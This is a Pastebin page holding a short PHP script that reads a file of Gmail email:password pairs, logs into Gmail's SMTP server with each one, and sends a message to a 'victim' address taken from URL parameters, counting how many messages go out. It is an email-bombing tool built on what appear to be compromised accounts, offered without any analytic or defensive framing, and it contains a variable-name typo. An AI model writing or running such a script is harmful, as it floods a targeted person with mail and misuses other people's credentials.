Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2017
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.69 KB | None | 0 0
  1. <?php
  2. $file = file('gmails.txt');
  3. $victim = $_GET['email'];
  4. $sub = $_GET['subject'];
  5. $bod = $_GET['body'];
  6. $c = 0;
  7.  
  8. foreach($file as $email){
  9.     $exp = explode(':', $email);
  10.     $mail = new PHPMailer();
  11.     $mail->IsSMTP();
  12.     $mail->Host = "mail.test.com";
  13.     $mail->SMTPAuth = true;
  14.     $mail->SMTPSecure = "tls";
  15.     $mail->Host = "smtp.gmail.com";
  16.     $mail->Port = 587;
  17.     $mail->Username = $exp[0];
  18.     $mail->Password = $exp[1];
  19.     $mail->SetFrom($victim, $sub);
  20.     $mail->Subject = $sub;
  21.     $mail->MsgHTML($bod);
  22.     $address = $victime;
  23.     $mail->AddAddress($address, $sub);
  24.     if(!$mail->Send()){
  25.         echo "Mailer Error: " . $mail->ErrorInfo;
  26.     }else{
  27.         $c += 1;
  28.     }
  29. }
  30. echo 'Sent '.$victim.' '.$c.' emails';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement